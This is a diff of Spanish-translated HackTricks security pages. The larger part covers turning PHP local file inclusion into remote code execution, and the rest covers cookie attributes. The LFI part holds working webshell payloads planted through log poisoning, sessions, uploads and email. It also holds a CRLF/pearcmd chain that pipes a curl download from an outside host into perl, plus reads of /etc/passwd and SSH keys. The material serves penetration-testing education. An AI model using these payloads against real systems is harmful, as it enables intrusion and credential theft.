Luego, para filtrar el primer carácter, se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente se utilizan los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **colocar otros caracteres al principio y filtrarlos**.
|
||||
Luego, para leak the first char, se utiliza el filter **`dechunk`** junto con otros como **base64** o **rot13**, y finalmente se emplean los filters **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **place other chars at the beggining and leak them**.
|
||||
|
||||
**Funciones que podrían ser vulnerables**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo objetivo de lectura con esto)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
¡Para los detalles técnicos consulta la publicación mencionada!
|
||||
For the technical details check the mentioned post!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Escritura de Archivos Arbitrarios a través de Path Traversal (Webshell RCE)
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
Cuando el código del lado del servidor que ingesta/sube archivos construye la ruta de destino utilizando datos controlados por el usuario (por ejemplo, un nombre de archivo o URL) sin canonizar y validar, los segmentos `..` y las rutas absolutas pueden escapar del directorio previsto y causar una escritura de archivo arbitraria. Si puedes colocar el payload en un directorio expuesto a la web, generalmente obtienes RCE no autenticado al dejar caer un webshell.
|
||||
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
|
||||
|
||||
Flujo típico de explotación:
|
||||
- Identificar una primitiva de escritura en un endpoint o trabajador en segundo plano que acepte una ruta/nombre de archivo y escriba contenido en el disco (por ejemplo, ingesta impulsada por mensajes, controladores de comandos XML/JSON, extractores ZIP, etc.).
|
||||
- Determinar directorios expuestos a la web. Ejemplos comunes:
|
||||
Typical exploitation workflow:
|
||||
- Identificar un write primitive en un endpoint o background worker que acepte una path/filename y escriba contenido en disco (p. ej., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
|
||||
- Determinar web-exposed directories. Ejemplos comunes:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → dejar caer `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → dejar caer `shell.aspx`
|
||||
- Crear una ruta de recorrido que salga del directorio de almacenamiento previsto hacia el webroot, e incluir el contenido de tu webshell.
|
||||
- Navegar al payload dejado caer y ejecutar comandos.
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Construir un traversal path que salga del directorio de almacenamiento previsto hacia el webroot e incluya el contenido de tu webshell.
|
||||
- Navega al payload depositado y ejecuta comandos.
|
||||
|
||||
Notas:
|
||||
- El servicio vulnerable que realiza la escritura puede escuchar en un puerto no HTTP (por ejemplo, un oyente XML JMF en TCP 4004). El portal web principal (puerto diferente) servirá más tarde tu payload.
|
||||
- En pilas de Java, estas escrituras de archivos a menudo se implementan con una simple concatenación de `File`/`Paths`. La falta de canonización/listado permitido es el defecto principal.
|
||||
- El servicio vulnerable que realiza la escritura puede escuchar en un non-HTTP port (p. ej., un JMF XML listener en TCP 4004). El portal web principal (puerto distinto) servirá posteriormente tu payload.
|
||||
- En stacks Java, estas escrituras de archivos a menudo se implementan con concatenación simple de `File`/`Paths`. La falta de canonicalisation/allow-listing es la falla principal.
|
||||
|
||||
Ejemplo genérico estilo XML/JMF (los esquemas de productos varían – el envoltorio DOCTYPE/cuerpo es irrelevante para el recorrido):
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -466,26 +466,26 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Endurecimiento que derrota esta clase de errores:
|
||||
- Resuelve a una ruta canónica y asegura que es un descendiente de un directorio base en la lista de permitidos.
|
||||
- Rechaza cualquier ruta que contenga `..`, raíces absolutas o letras de unidad; prefiere nombres de archivos generados.
|
||||
- Ejecuta el escritor como una cuenta de bajo privilegio y segrega los directorios de escritura de las raíces servidas.
|
||||
Mitigaciones que derrotan esta clase de bugs:
|
||||
- Resuelve a una ruta canónica y asegura que sea descendiente de un directorio base en la lista de permitidos.
|
||||
- Rechaza cualquier ruta que contenga `..`, raíces absolutas o letras de unidad; prefiere nombres de archivo generados.
|
||||
- Ejecuta el proceso que escribe como una cuenta con pocos privilegios y separa los directorios de escritura de las raíces servidas.
|
||||
|
||||
## Inclusión de Archivos Remotos
|
||||
## Remote File Inclusion
|
||||
|
||||
Explicado anteriormente, [**sigue este enlace**](#remote-file-inclusion).
|
||||
Explicado previamente, [**sigue este enlace**](#remote-file-inclusion).
|
||||
|
||||
### A través del archivo de registro de Apache/Nginx
|
||||
|
||||
Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **agente de usuario** o dentro de un **parámetro GET** un shell php como **`<?php system($_GET['c']); ?>`** e incluir ese archivo.
|
||||
Si el servidor Apache o Nginx es **vulnerable a LFI** en la función include, puedes intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, colocar dentro del **user agent** o en un **parámetro GET** una php shell como **`<?php system($_GET['c']); ?>`** e incluir ese archivo
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles serán modificadas para la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**.
|
||||
> Ten en cuenta que **si usas comillas dobles** para la shell en lugar de **comillas simples**, las comillas dobles serán modificadas por la cadena "_**quote;**_", **PHP lanzará un error** y **nada más se ejecutará**.
|
||||
>
|
||||
> Además, asegúrate de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
|
||||
> Además, asegúrate de **escribir correctamente el payload** o PHP dará error cada vez que intente cargar el archivo de log y no tendrás una segunda oportunidad.
|
||||
|
||||
Esto también podría hacerse en otros registros, pero **ten cuidado,** el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. La cabecera **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de esta cabecera.\
|
||||
Otras posibles rutas de registro:
|
||||
Esto también se puede hacer en otros logs pero **ten cuidado,** el código dentro de los logs podría estar codificado en URL y esto podría destruir la Shell. El header **authorisation "basic"** contiene "user:password" en Base64 y eso se decodifica dentro de los logs. La PHPShell podría insertarse dentro de este header.\
|
||||
Otras posibles rutas de logs:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -501,163 +501,166 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### Vía Email
|
||||
|
||||
**Envía un correo** a una cuenta interna (user@localhost) que contenga tu carga útil de PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluir en el correo del usuario con una ruta como **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
**Envía un correo** a una cuenta interna (user@localhost) que contenga tu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e intenta incluir el correo del usuario con una ruta como **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Vía /proc/\*/fd/\*
|
||||
|
||||
1. Sube muchas shells (por ejemplo: 100)
|
||||
2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (se puede forzar por fuerza bruta) y $FD el descriptor de archivo (también se puede forzar por fuerza bruta)
|
||||
2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede obtenerse por fuerza bruta) y $FD = el descriptor de archivo (también puede obtenerse por fuerza bruta)
|
||||
|
||||
### Vía /proc/self/environ
|
||||
|
||||
Como un archivo de registro, envía la carga útil en el User-Agent, se reflejará dentro del archivo /proc/self/environ
|
||||
Como con un archivo de registro, envía el payload en el User-Agent; se reflejará dentro del archivo /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### A través de la carga
|
||||
### Via upload
|
||||
|
||||
Si puedes cargar un archivo, simplemente inyecta la carga útil del shell en él (por ejemplo: `<?php system($_GET['c']); ?>`).
|
||||
Si puedes upload un archivo, simplemente inyecta el shell payload en él (ej: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf
|
||||
Para mantener el archivo legible es mejor inyectar en los metadatos de las imágenes/doc/pdf
|
||||
|
||||
### A través de la carga de archivos Zip
|
||||
### Mediante subida de archivo ZIP
|
||||
|
||||
Sube un archivo ZIP que contenga un shell PHP comprimido y accede:
|
||||
Sube un archivo ZIP que contenga un PHP shell comprimido y accede:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### A través de sesiones PHP
|
||||
|
||||
Verifica si el sitio web utiliza PHP Session (PHPSESSID)
|
||||
Comprueba si el sitio web usa sesiones PHP (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
En PHP, estas sesiones se almacenan en archivos _/var/lib/php5/sess\\_\[PHPSESSID]\_.
|
||||
En PHP, estas sesiones se almacenan en los archivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
Establece la cookie a `<?php system('cat /etc/passwd');?>`
|
||||
Establece la cookie en `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Utiliza el LFI para incluir el archivo de sesión de PHP.
|
||||
Usa el LFI para incluir el archivo de sesión de PHP
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### A través de ssh
|
||||
|
||||
Si ssh está activo, verifica qué usuario se está utilizando (/proc/self/status & /etc/passwd) y trata de acceder a **\<HOME>/.ssh/id_rsa**
|
||||
Si ssh está activo, comprueba qué usuario se está usando (/proc/self/status & /etc/passwd) e intenta acceder a **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **A través de** **vsftpd** _**registros**_
|
||||
### **A través de** **vsftpd** _**logs**_
|
||||
|
||||
Los registros para el servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En el escenario donde existe una vulnerabilidad de Inclusión de Archivos Local (LFI), y es posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
|
||||
Los logs del servidor FTP vsftpd se encuentran en _**/var/log/vsftpd.log**_. En un escenario donde exista una vulnerabilidad Local File Inclusion (LFI), y sea posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
|
||||
|
||||
1. Inyectar una carga útil de PHP en el campo de nombre de usuario durante el proceso de inicio de sesión.
|
||||
2. Después de la inyección, utilizar el LFI para recuperar los registros del servidor de _**/var/log/vsftpd.log**_.
|
||||
1. Inyecta un PHP payload en el campo username durante el proceso de login.
|
||||
2. Tras la inyección, utiliza la LFI para recuperar los logs del servidor desde _**/var/log/vsftpd.log**_.
|
||||
|
||||
### A través del filtro base64 de php (usando base64)
|
||||
### A través del php base64 filter (usando base64)
|
||||
|
||||
Como se muestra en [este](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artículo, el filtro base64 de PHP simplemente ignora lo que no es base64. Puedes usar eso para eludir la verificación de la extensión del archivo: si proporcionas base64 que termina con ".php", simplemente ignorará el "." y añadirá "php" al base64. Aquí hay un ejemplo de carga útil:
|
||||
Como se muestra en [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Aquí hay un ejemplo de payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### A través de filtros php (sin archivo necesario)
|
||||
### Vía php filters (no se necesita archivo)
|
||||
|
||||
Este [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para incluir **sin necesidad de escribirlo** en un archivo.
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **php filters to generate arbitrary content** como salida. Lo que básicamente significa que puedes **generate arbitrary php code** para el include **without needing to write** en un archivo.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### A través de fallo de segmentación
|
||||
### Vía segmentation fault
|
||||
|
||||
**Sube** un archivo que se almacenará como **temporal** en `/tmp`, luego en la **misma solicitud,** provoca un **fallo de segmentación**, y luego el **archivo temporal no será eliminado** y podrás buscarlo.
|
||||
**Upload** un archivo que se almacenará como **temporary** en `/tmp`, luego en la **same request,** provoca un **segmentation fault**, y entonces el **temporary file won't be deleted** y puedes buscarlo.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### A través del almacenamiento temporal de archivos de Nginx
|
||||
### Vía Nginx temp file storage
|
||||
|
||||
Si encontraste una **Inclusión de Archivos Local** y **Nginx** está ejecutándose frente a PHP, podrías obtener RCE con la siguiente técnica:
|
||||
Si encontraste una **Local File Inclusion** y **Nginx** está corriendo delante de PHP podrías obtener RCE con la siguiente técnica:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
### A través de PHP_SESSION_UPLOAD_PROGRESS
|
||||
### Vía PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Si encontraste una **Inclusión de Archivos Local** incluso si **no tienes una sesión** y `session.auto_start` está `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**. Podrías abusar de esto para obtener RCE:
|
||||
Si encontraste una **Local File Inclusion** incluso si **don't have a session** y `session.auto_start` está `Off`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **enable the session for you**. Podrías abusar de esto para obtener RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### A través de cargas de archivos temporales en Windows
|
||||
### Vía temp file uploads in Windows
|
||||
|
||||
Si encontraste una **Inclusión de Archivos Local** y el servidor está ejecutándose en **Windows**, podrías obtener RCE:
|
||||
Si encontraste una **Local File Inclusion** y el servidor está ejecutándose en **Windows** podrías obtener RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### A través de `pearcmd.php` + argumentos de URL
|
||||
### Vía `pearcmd.php` + URL args
|
||||
|
||||
Como [**se explica en esta publicación**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en imágenes de docker de php. Además, es posible pasar argumentos al script a través de la URL porque se indica que si un parámetro de URL no tiene un `=`, debe ser utilizado como un argumento.
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), el script `/usr/local/lib/phppearcmd.php` existe por defecto en las imágenes docker de php. Además, es posible pasar argumentos al script vía la URL porque se indica que si un parámetro de URL no tiene un `=`, debe usarse como argumento. Véase también [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) y [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
La siguiente solicitud crea un archivo en `/tmp/hello.php` con el contenido `<?=phpinfo()?>`:
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
El siguiente abuso de una vulnerabilidad CRLF para obtener RCE (de [**aquí**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Lo siguiente abusa de una vuln CRLF para obtener RCE (desde [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
### A través de phpinfo() (file_uploads = on)
|
||||
### Mediante phpinfo() (file_uploads = on)
|
||||
|
||||
Si encontraste una **Local File Inclusion** y un archivo que expone **phpinfo()** con file_uploads = on puedes obtener RCE:
|
||||
|
||||
Si encontraste una **Local File Inclusion** y un archivo que expone **phpinfo()** con file_uploads = on, puedes obtener RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### A través de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgación de Ruta
|
||||
### Mediante compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Si encontraste una **Local File Inclusion** y puedes **exfiltrar la ruta** del archivo temporal PERO el **servidor** está **comprobando** si el **archivo a incluir tiene marcas PHP**, puedes intentar eludir esa comprobación con esta **Race Condition**:
|
||||
|
||||
Si encontraste una **Local File Inclusion** y **puedes exfiltrar la ruta** del archivo temporal PERO el **servidor** está **verificando** si el **archivo a incluir tiene marcas de PHP**, puedes intentar **eludir esa verificación** con esta **Condición de Carrera**:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### A través de espera eterna + bruteforce
|
||||
### Mediante eternal waiting + bruteforce
|
||||
|
||||
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **cuelgue** la ejecución de PHP, podrías entonces **bruteforce nombres de archivo durante horas** para encontrar el archivo temporal:
|
||||
|
||||
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **se cuelgue** la ejecución de PHP, podrías entonces **fuerza bruta los nombres de archivos durante horas** para encontrar el archivo temporal:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### A Error Fatal
|
||||
### Para provocar un Fatal Error
|
||||
|
||||
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para provocar ese error).
|
||||
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo 2 veces para provocar ese error).
|
||||
|
||||
**No sé cuán útil es esto, pero podría serlo.**\
|
||||
_Incluso si causas un Error Fatal de PHP, los archivos temporales de PHP subidos son eliminados._
|
||||
**No sé cómo puede ser útil esto pero podría serlo.**\
|
||||
_Incluso si causas un PHP Fatal Error, los archivos temporales de PHP subidos son eliminados._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -667,6 +670,9 @@ _Incluso si causas un Error Fatal de PHP, los archivos temporales de PHP subidos
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -2,152 +2,162 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Atributos de Cookies
|
||||
## Atributos de las cookies
|
||||
|
||||
Las cookies vienen con varios atributos que controlan su comportamiento en el navegador del usuario. Aquí hay un resumen de estos atributos en una voz más pasiva:
|
||||
Las cookies vienen con varios atributos que controlan su comportamiento en el navegador del usuario. Aquí tienes un resumen de estos atributos en voz más pasiva:
|
||||
|
||||
### Expires y Max-Age
|
||||
### Expires and Max-Age
|
||||
|
||||
La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que una cookie es eliminada. **Opta por `Max-age` ya que refleja prácticas más modernas.**
|
||||
La fecha de expiración de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que la cookie se elimina. **Opta por `Max-age` ya que refleja prácticas más modernas.**
|
||||
|
||||
### Dominio
|
||||
### Domain
|
||||
|
||||
Los hosts que recibirán una cookie son especificados por el atributo `Domain`. Por defecto, esto se establece en el host que emitió la cookie, sin incluir sus subdominios. Sin embargo, cuando el atributo `Domain` se establece explícitamente, abarca también los subdominios. Esto hace que la especificación del atributo `Domain` sea una opción menos restrictiva, útil para escenarios donde compartir cookies entre subdominios es necesario. Por ejemplo, establecer `Domain=mozilla.org` hace que las cookies sean accesibles en sus subdominios como `developer.mozilla.org`.
|
||||
Los hosts que recibirán una cookie se especifican con el atributo `Domain`. Por defecto, esto se establece en el host que emitió la cookie, sin incluir sus subdominios. Sin embargo, cuando el atributo `Domain` se establece explícitamente, también abarca subdominios. Esto convierte la especificación del atributo `Domain` en una opción menos restrictiva, útil para escenarios donde se necesita compartir cookies entre subdominios. Por ejemplo, establecer `Domain=mozilla.org` hace que las cookies sean accesibles en sus subdominios como `developer.mozilla.org`.
|
||||
|
||||
### Ruta
|
||||
### Path
|
||||
|
||||
Un camino de URL específico que debe estar presente en la URL solicitada para que se envíe el encabezado `Cookie` es indicado por el atributo `Path`. Este atributo considera el carácter `/` como un separador de directorios, permitiendo coincidencias en subdirectorios también.
|
||||
Un path URL específico que debe estar presente en la URL solicitada para que se envíe la cabecera `Cookie` es indicado por el atributo `Path`. Este atributo considera el carácter `/` como separador de directorios, permitiendo coincidencias también en subdirectorios.
|
||||
|
||||
### Reglas de Ordenación
|
||||
### Ordering Rules
|
||||
|
||||
Cuando dos cookies tienen el mismo nombre, la que se elige para enviar se basa en:
|
||||
Cuando dos cookies comparten el mismo nombre, la que se elige para enviar se basa en:
|
||||
|
||||
- La cookie que coincide con la ruta más larga en la URL solicitada.
|
||||
- La cookie establecida más recientemente si las rutas son idénticas.
|
||||
- La cookie que coincide con el path más largo en la URL solicitada.
|
||||
- La cookie más recientemente establecida si los paths son idénticos.
|
||||
|
||||
### SameSite
|
||||
|
||||
- El atributo `SameSite` dicta si las cookies se envían en solicitudes que provienen de dominios de terceros. Ofrece tres configuraciones:
|
||||
- **Strict**: Restringe el envío de la cookie en solicitudes de terceros.
|
||||
- **Lax**: Permite que la cookie se envíe con solicitudes GET iniciadas por sitios web de terceros.
|
||||
- El atributo `SameSite` dicta si las cookies se envían en solicitudes que se originan desde dominios de terceros. Ofrece tres configuraciones:
|
||||
- **Strict**: Restringe que la cookie se envíe en solicitudes de terceros.
|
||||
- **Lax**: Permite que la cookie se envíe con solicitudes GET iniciadas por sitios de terceros.
|
||||
- **None**: Permite que la cookie se envíe desde cualquier dominio de terceros.
|
||||
|
||||
Recuerda, al configurar cookies, entender estos atributos puede ayudar a asegurar que se comporten como se espera en diferentes escenarios.
|
||||
Recuerda que, al configurar cookies, entender estos atributos puede ayudar a asegurar que se comporten como se espera en diferentes escenarios.
|
||||
|
||||
| **Tipo de Solicitud** | **Código de Ejemplo** | **Cookies Enviadas Cuando** |
|
||||
| --------------------- | --------------------------------------- | ---------------------------- |
|
||||
| Enlace | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Formulario GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Formulario POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Imagen | \<img src="..."> | NetSet\*, None |
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tabla de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) y ligeramente modificada.\
|
||||
Una cookie con el atributo _**SameSite**_ **mitigará ataques CSRF** donde se necesita una sesión iniciada.
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
|
||||
|
||||
**\*Ten en cuenta que desde Chrome80 (feb/2019) el comportamiento predeterminado de una cookie sin un atributo SameSite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Ten en cuenta que temporalmente, después de aplicar este cambio, las **cookies sin una política SameSite** en Chrome serán **tratadas como None** durante los **primeros 2 minutos y luego como Lax para solicitudes POST de nivel superior entre sitios.**
|
||||
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.**
|
||||
|
||||
## Banderas de Cookies
|
||||
## Cookie Flags
|
||||
|
||||
### HttpOnly
|
||||
|
||||
Esto evita que el **cliente** acceda a la cookie (a través de **Javascript**, por ejemplo: `document.cookie`)
|
||||
Esto evita que el **client** acceda a la cookie (vía **Javascript** por ejemplo: `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
#### **Evasiones**
|
||||
|
||||
